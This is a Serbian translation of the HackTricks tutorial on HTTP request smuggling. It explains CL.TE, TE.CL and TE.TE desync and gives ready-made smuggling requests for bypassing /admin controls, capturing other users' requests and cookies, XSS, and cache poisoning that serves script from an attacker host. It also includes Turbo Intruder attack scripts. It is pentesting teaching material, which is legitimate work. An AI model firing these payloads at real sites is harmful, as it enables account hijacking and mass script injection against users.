Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 32495a5318 Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
2024-03-25 01:49:47 +00:00
..
browser-http-request-smuggling.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent 2024-03-25 01:49:47 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Serbian 2024-02-10 13:11:20 +00:00

README.md

HTTP Request Smuggling / HTTP Desync Attack

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Šta je

Ova ranjivost se javlja kada desinhronizacija između front-end proxy-ja i back-end servera omogućava napadaču da pošalje HTTP zahtev koji će biti tumačen kao jedan zahtev od strane front-end proxy-ja (balansiranje opterećenja/reverse-proxy) i kao 2 zahteva od strane back-end servera.
Ovo omogućava korisniku da modifikuje sledeći zahtev koji stiže do back-end servera nakon njega.

Teorija

RFC Specifikacija (2161)

Ako se poruka primi sa i Transfer-Encoding zaglavljem i Content-Length zaglavljem, ovaj drugi MORA biti ignorisan.

Content-Length

Entitet zaglavlje Content-Length pokazuje veličinu entitet-tela, u bajtovima, poslato primaocu.

Transfer-Encoding: chunked

Transfer-Encoding zaglavlje specificira oblik enkodiranja koji se koristi za bezbedan prenos tela payload-a korisniku.
Chunked znači da se veliki podaci šalju u seriji delova.

Realnost

Front-End (balansiranje opterećenja / Reverse Proxy) obrađuje content-length ili transfer-encoding zaglavlje, a Back-end server obrađuje drugo što izaziva desinhronizaciju između ova 2 sistema.
Ovo može biti veoma kritično jer napadač može poslati jedan zahtev reverse proxy-ju koji će biti tumačen od strane back-end servera kao 2 različita zahteva. Opasnost ove tehnike leži u tome što će back-end server tumačiti ubaceni drugi zahtev kao da je došao od sledećeg klijenta i pravi zahtev tog klijenta će biti deo ubacenog zahteva.

Posebnosti

Zapamtite da u HTTP novi red karaktera se sastoji od 2 bajta:

  • Content-Length: Ovo zaglavlje koristi decimalni broj da pokaže broj bajtova tela zahteva. Telo se očekuje da se završi poslednjim karakterom, novi red nije potreban na kraju zahteva.
  • Transfer-Encoding: Ovo zaglavlje koristi u telu heksadecimalni broj da pokaže broj bajtova sledećeg chunk-a. Chunk mora završiti sa novim redom ali ovaj novi red nije uračunat u indikator dužine. Ovaj metod prenosa mora završiti sa chunk-om veličine 0 praćenim sa 2 nova reda: 0
  • Connection: Na osnovu mog iskustva preporučuje se koristiti Connection: keep-alive na prvom zahtevu za Request Smuggling.

Osnovni Primeri

{% hint style="success" %} Kada pokušavate da iskoristite ovo sa Burp Suite onemogućite Update Content-Length i Normalize HTTP/1 line endings u repeateru jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne dužine sadržaja. {% endhint %}

Napadi HTTP zahtevom za desinhronizaciju se kreiraju slanjem nejasnih zahteva koji iskorišćavaju razlike u tome kako front-end i back-end serveri tumače Content-Length (CL) i Transfer-Encoding (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, pretežno kao CL.TE, TE.CL i TE.TE. Svaki tip predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim zaglavljima. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.

Osnovni Primeri Tipova Ranjivosti

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE Ranjivost (Content-Length korišćen od strane Front-End, Transfer-Encoding korišćen od strane Back-End)

  • Front-End (CL): Obradjuje zahtev na osnovu Content-Length zaglavlja.
  • Back-End (TE): Obradjuje zahtev na osnovu Transfer-Encoding zaglavlja.
  • Scenario Napada:
  • Napadač šalje zahtev gde vrednost Content-Length zaglavlja ne odgovara stvarnoj dužini sadržaja.
  • Front-end server prosleđuje ceo zahtev back-end serveru, na osnovu vrednosti Content-Length.
  • Back-end server obrađuje zahtev kao chunked zbog Transfer-Encoding: chunked zaglavlja, tumačeći preostale podatke kao zaseban, naknadni zahtev.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Ranjivost (Transfer-Encoding korišćen od strane Front-End, Content-Length korišćen od strane Back-End)

  • Front-End (TE): Obradjuje zahtev na osnovu Transfer-Encoding zaglavlja.
  • Back-End (CL): Obradjuje zahtev na osnovu Content-Length zaglavlja.
  • Scenario Napada:
  • Napadač šalje chunked zahtev gde se veličina chunk-a (7b) i stvarna dužina sadržaja (Content-Length: 4) ne poklapaju.
  • Front-end server, poštujući Transfer-Encoding, prosleđuje ceo zahtev back-end serveru.
  • Back-end server, poštujući Content-Length, obrađuje samo početni deo zahteva (7b bajtova), ostavljajući ostatak kao deo nenamernog naknadnog zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerabilnost (Transfer-Encoding korišćen od strane oba, sa obfuscacijom)

  • Serveri: Oba podržavaju Transfer-Encoding, ali jedan može biti prevaren da ga ignoriše putem obfuscacije.
  • Scenario napada:
  • Napadač šalje zahtev sa obfuscated Transfer-Encoding zaglavljima.
  • Zavisno od toga koji server (prednji ili zadnji) ne uspe da prepozna obfuscaciju, može se iskoristiti CL.TE ili TE.CL vulnerabilnost.
  • Neobrađeni deo zahteva, viđen od strane jednog od servera, postaje deo narednog zahteva, što dovodi do krijumčarenja.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length korišćen od strane oba prednjeg i zadnjeg dela):

  • Oba servera obrađuju zahtev isključivo na osnovu zaglavlja Content-Length.
  • Ovaj scenario obično ne dovodi do krijumčarenja, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normalan zahtev

CL != 0 Scenario:

  • Odnosi se na scenarije gde je zaglavlje Content-Length prisutno i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj.
  • Ključno je za razumevanje i kreiranje napada krijumčarenja, jer utiče na to kako serveri određuju kraj zahteva.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Telo sa sadržajem

Forsiranje putem zaglavlja hop-by-hop

Zloupotrebom zaglavlja hop-by-hop možete ukazati proksi da obriše zaglavlje Content-Length ili Transfer-Encoding kako bi bilo moguće zloupotrebiti HTTP zahtev krijumčarenjem.

Connection: Content-Length

Za više informacija o zaglavlja koja se prenose hop-by-hop posetite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Pronalaženje HTTP zahteva za krijumčarenje

Identifikacija ranjivosti na HTTP zahtev za krijumčarenje često se može postići korišćenjem tehnika vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje ranjivosti CL.TE i TE.CL. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:

Pronalaženje ranjivosti CL.TE korišćenjem tehnika vremena

  • Metod:
  • Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Posmatranje:
  • Prednja serverska strana obrađuje zahtev na osnovu Content-Length i prekida poruku prerano.
  • Serverska strana, očekujući poruku u blokovima, čeka sledeći blok koji nikada ne stiže, uzrokujući kašnjenje.
  • Indikatori:
  • Vremenska odlaganja ili dugotrajna kašnjenja u odgovoru.
  • Primanje greške 400 Bad Request od serverske strane, ponekad sa detaljnim informacijama o serveru.

Pronalaženje ranjivosti TE.CL korišćenjem tehnika vremena

  • Metod:
  • Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
  • Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Posmatranje:
  • Prednja serverska strana obrađuje zahtev na osnovu Transfer-Encoding i prosleđuje celu poruku.
  • Serverska strana, očekujući poruku na osnovu Content-Length, čeka na dodatne podatke koji nikada ne stižu, uzrokujući kašnjenje.

Druge metode za pronalaženje ranjivosti

  • Analiza diferencijalnog odgovora:
  • Pošaljite blago varijante zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
  • Korišćenje automatizovanih alata:
  • Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analiziranjem odgovora.
  • Testovi varijacije Content-Length:
  • Pošaljite zahteve sa različitim vrednostima Content-Length koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja.
  • Testovi varijacije Transfer-Encoding:
  • Pošaljite zahteve sa zamućenim ili neispravnim zaglavljima Transfer-Encoding i pratite kako prednja i serverska strana reaguju na takve manipulacije.

Testiranje ranjivosti HTTP zahteva za krijumčarenje

Nakon potvrde efikasnosti tehnika vremena, ključno je proveriti da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušati otrovati vaše zahteve, na primer, tako što će zahtev ka / rezultirati odgovorom 404. Primeri CL.TE i TE.CL koji su prethodno razmatrani u Osnovni primeri pokazuju kako otrovati klijentov zahtev kako bi izazvali odgovor 404, iako klijent pokušava pristupiti drugom resursu.

Ključne razmatranja

Prilikom testiranja ranjivosti zahteva za krijumčarenje mešanjem sa drugim zahtevima, imajte na umu:

  • Različite mrežne veze: "Napad" i "normalni" zahtevi treba da se šalju preko odvojenih mrežnih veza. Korišćenje iste veze za oba ne potvrđuje prisustvo ranjivosti.
  • Konstantne URL adrese i parametri: Ciljajte da koristite identične URL adrese i imena parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka određenim serverskim stranama na osnovu URL adresa i parametara. Podudaranje ovih povećava verovatnoću da će oba zahteva biti obrađena od strane istog servera, što je preduslov za uspešan napad.
  • Vremenski uslovi i trke: "Normalni" zahtev, namenjen otkrivanju mešanja sa "napadnim" zahtevom, takmiči se sa drugim istovremenim zahtevima aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za potvrdu ranjivosti.
  • Izazovi balansiranja opterećenja: Prednje serverske strane koje deluju kao balanseri opterećenja mogu distribuirati zahteve ka različitim serverskim sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja za potvrdu ranjivosti.
  • Neželjeni uticaj na korisnike: Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali radi otkrivanja), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može poremetiti druge korisnike, zahtevajući oprezan pristup.

Zloupotreba HTTP zahteva za krijumčarenje

Obilaženje sigurnosnih mera prednje strane putem HTTP zahteva za krijumčarenje

Ponekad, prednji proksi sprovode sigurnosne mere, analizirajući dolazne zahteve. Međutim, ove mere mogu biti zaobiđene iskorišćavanjem HTTP zahteva za krijumčarenje, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup /admin može biti zabranjen spolja, pri čemu prednji proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti inspekciju ugnežđenih zahteva unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.

Razmotrite sledeće primere koji ilustruju kako se HTTP zahtevi za krijumčarenje mogu koristiti za obilaženje sigurnosnih kontrola prednje strane, ciljajući specifično putanju /admin koja je obično čuvana od strane prednjeg proksija:

Primer CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

U CL.TE napadu, zaglavlje Content-Length se koristi za početni zahtev, dok ugneždeni zahtev koristi zaglavlje Transfer-Encoding: chunked. Prednji proxy obrađuje početni POST zahtev ali ne pregleda ugneždeni GET /admin zahtev, omogućavajući neovlašćen pristup putanji /admin.

TE.CL Primer

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Suprotno tome, u TE.CL napadu, početni POST zahtev koristi Transfer-Encoding: chunked, a naknadni ugnježdeni zahtev se obrađuje na osnovu zaglavlja Content-Length. Slično kao kod CL.TE napada, prednji proxy propušta ugnježdeni GET /admin zahtev, nenamerno omogućavajući pristup ograničenom /admin putanji.

Otkrivanje prepravljanja zahteva na prednjoj strani

Aplikacije često koriste prednji server da izmeni dolazne zahteve pre prosleđivanja na serversku stranu. Tipična modifikacija uključuje dodavanje zaglavlja, poput X-Forwarded-For: <IP klijenta>, kako bi se prosledila IP adresa klijenta serverskoj strani. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za zaobilaženje zaštite ili otkrivanje skrivenih informacija ili krajnjih tačaka.

Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji serverska strana vraća u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar na kraju, slično kao u sledećem primeru:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

U ovoj strukturi, naknadni delovi zahteva se dodaju nakon search=, koji je parametar koji se odražava u odgovoru. Ovo odražavanje će otkriti zaglavlja naknadnog zahteva.

Važno je uskladiti zaglavlje Content-Length ugnježdenog zahteva sa stvarnom dužinom sadržaja. Počevši od male vrednosti i postepeno je povećavajući je preporučljivo, jer preniska vrednost može skratiti odražene podatke, dok previsoka vrednost može uzrokovati grešku u zahtevu.

Ova tehnika se takođe može primeniti u kontekstu ranjivosti TE.CL, ali zahtev treba da se završi sa search=\r\n0. Bez obzira na znakove nove linije, vrednosti će se dodati parametru pretrage.

Ovaj metod pretežno služi da se razumeju modifikacije zahteva koje je napravio prednji proxy, suštinski vršeći samostalnu istragu.

Snimanje zahteva drugih korisnika

Moguće je snimiti zahteve sledećeg korisnika dodavanjem određenog zahteva kao vrednosti parametra tokom POST operacije. Evo kako se to može postići:

Dodavanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev sledećeg klijenta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

U ovom scenariju, parametar komentara je namenjen za čuvanje sadržaja unutar sekcije komentara na javno dostupnoj stranici. Kao rezultat, sadržaj narednog zahteva će se pojaviti kao komentar.

Međutim, ova tehnika ima svoja ograničenja. Generalno, hvata podatke samo do granice parametra korišćene u prokrijumčarenom zahtevu. Za URL-kodirane forme, ova granica je znak &. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom &, što može biti deo upita.

Dodatno, važno je napomenuti da je ovaj pristup takođe izvodljiv sa ranjivošću TE.CL. U takvim slučajevima, zahtev bi trebalo da se završi sa search=\r\n0. Bez obzira na znakove nove linije, vrednosti će biti dodate parametru pretrage.

Korišćenje HTTP zahteva za prokrijumčarenje radi iskorišćavanja reflektovanog XSS-a

HTTP zahtev za prokrijumčarenje može se iskoristiti za iskorišćavanje veb stranica koje su ranjive na Reflektovani XSS, nudeći značajne prednosti:

  • Interakcija sa ciljnim korisnicima nije potrebna.
  • Omogućava iskorišćavanje XSS-a u delovima zahteva koji su normalno nedostupni, poput zaglavlja HTTP zahteva.

U scenarijima gde je veb sajt podložan Reflektovanom XSS-u putem zaglavlja User-Agent, sledeći payload demonstrira kako iskoristiti ovu ranjivost:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ovaj payload je struktuiran da iskoristi ranjivost na sledeći način:

  1. Pokretanje POST zahteva, naizgled tipično, sa zaglavljem Transfer-Encoding: chunked kako bi označili početak smugglinga.
  2. Nastavak sa 0, označavajući kraj chunked tela poruke.
  3. Zatim se uvodi smuggled GET zahtev, gde je zaglavlje User-Agent injektovano skriptom, <script>alert(1)</script>, pokrećući XSS kada server obradi ovaj naredni zahtev.

Manipulacijom User-Agent-a putem smugglinga, payload zaobilazi normalna ograničenja zahteva, iskorišćavajući tako ranjivost Reflected XSS na nekonvencionalan, ali efikasan način.

Iskorišćavanje On-site Preusmeravanja sa HTTP Request Smuggling

Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz zaglavlja Host u URL-u preusmeravanja. Ovo je često kod web servera poput Apache i IIS. Na primer, zahtevanje foldera bez kosa crta na kraju rezultuje preusmeravanjem koje uključuje kosu crtu:

GET /home HTTP/1.1
Host: normal-website.com

Rezultati su:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Iako na prvi pogled bezopasno, ovaj postupak može biti manipulisan korišćenjem HTTP zahteva za krijumčarenje kako bi se korisnici preusmerili na spoljni sajt. Na primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb lokaciju kojom upravlja napadač:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Rezultati su:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

U ovom scenariju, zahtev korisnika za JavaScript datotekom je otet. Napadač može potencijalno ugroziti korisnika posluživanjem zlonamernog JavaScript koda kao odgovora.

Iskorišćavanje Trovanja Web Keša putem HTTP Zahteva Smuggling-a

Trovanje web keša može biti izvršeno ako bilo koji deo front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je trovanje keša.

Ranije smo primetili kako se odgovori servera mogu izmeniti da bi vratili grešku 404 (pogledajte Osnovne Primere). Slično tome, moguće je prevariti server da isporuči sadržaj /index.html kao odgovor na zahtev za /static/include.js. Kao rezultat, sadržaj /static/include.js se zamenjuje u kešu sa sadržajem /index.html, čineći /static/include.js nedostupnim korisnicima, potencijalno dovodeći do DoS (Denial of Service) napada.

Ova tehnika postaje posebno moćna ako se otkrije Ranjivost otvorenog preusmeravanja ili ako postoji preusmeravanje na otvoreno preusmeravanje na sajtu. Takve ranjivosti mogu biti iskorišćene da bi se zamenio keš sadržaj /static/include.js skriptom pod kontrolom napadača, omogućavajući suštinski širok napad Cross-Site Scripting (XSS) protiv svih klijenata koji zahtevaju ažurirani /static/include.js.

U nastavku je prikaz iskorišćavanja trovanja keša kombinovanog sa preusmeravanjem na otvoreno preusmeravanje na sajtu. Cilj je izmeniti keš sadržaj /static/include.js da bi poslužio JavaScript kod pod kontrolom napadača:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Primetite ugnježđeni zahtev usmeren ka /post/next?postId=3. Ovaj zahtev će biti preusmeren na /post?postId=4, koristeći vrednost Host zaglavlja da odredi domen. Menjanjem Host zaglavlja, napadač može preusmeriti zahtev na svoj domen (unutrašnja preusmerenja na otvorena preusmerenja).

Nakon uspešnog trovanja soketa, treba pokrenuti GET zahtev za /static/include.js. Ovaj zahtev će biti kontaminiran prethodnim zahtevom unutrašnja preusmerenja na otvorena preusmerenja i dohvatiti sadržaj skripte kojom upravlja napadač.

Nakon toga, svaki zahtev za /static/include.js će poslužiti keširani sadržaj skripte napadača, efikasno pokrećući širok XSS napad.

Korišćenje HTTP zahteva za krijumčarenje kako bi se izvršila prevara veb keša

Koja je razlika između trovanja veb keša i prevare veb keša?

  • U trovanju veb keša, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
  • U prevari veb keša, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša.

Napadač oblikuje krijumčareni zahtev koji dohvaća osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ako ovaj prokrijumčaren zahtev otrovi keš zapis namenjen statičkom sadržaju (npr. /someimage.png), osetljivi podaci žrtve iz /private/messages mogu biti keširani pod keš zapisom statičkog sadržaja. Kao rezultat, napadač bi potencijalno mogao povratiti ove keširane osetljive podatke.

Zloupotreba TRACE putem HTTP Request Smuggling

U ovom postu se sugeriše da ako je server omogućio metodu TRACE, moguće je zloupotrebiti je sa HTTP Request Smuggling-om. Ovo je zato što će ova metoda odražavati bilo koji zaglavlje poslato serveru kao deo tela odgovora. Na primer:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Poslaćemo odgovor poput:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Jedan primer kako zloupotrebiti ovu ponašanje bilo bi prvo prokrijumčariti HEAD zahtev. Ovaj zahtev će dobiti odgovor samo sa zaglavljima GET zahteva (Content-Type među njima). Zatim prokrijumčariti odmah nakon HEAD TRACE zahtev, koji će reflektovati poslate podatke.
Pošto HEAD odgovor sadrži Content-Length zaglavlje, odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, te reflektovati proizvoljne podatke u odgovoru.
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, pa se to može koristiti u keširanom JS fajlu na primer za ubacivanje proizvoljnog JS koda.

Zloupotreba TRACE putem Razdvajanja HTTP Odgovora

Nastavak prateći ovaj post sugerira se drugi način zloupotrebe metode TRACE. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće kontrolisati neke reflektovane podatke u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je uglavnom naznačena u Content-Length zaglavlju i formirana je odgovorom na TRACE zahtev.

Stoga, nova ideja bi bila da, znajući ovaj Content-Length i podatke dati u TRACE odgovoru, moguće je napraviti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču potpunu kontrolu nad zahtevom ka sledećem odgovoru (što bi se moglo koristiti za izvođenje trovanja keša).

Primer:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length koji čini da TRACE odgovor bude deo HEAD tela i kada HEAD Content-Length završi, validan HTTP odgovor je prokrijumčaren):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Oružjeziranje HTTP zahteva za krijumčarenje sa dezinkronizacijom HTTP odgovora

Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne znate kako da je iskoristite? Pokušajte sa ovom drugom metodom eksploatacije:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Druge tehnike krijumčarenja HTTP zahteva

  • Krijumčarenje HTTP zahteva preko pregledača (sa strane klijenta)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Krijumčarenje zahteva u HTTP/2 spuštanju

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo skripte za upad

CL.TE

Sa https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Sa: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: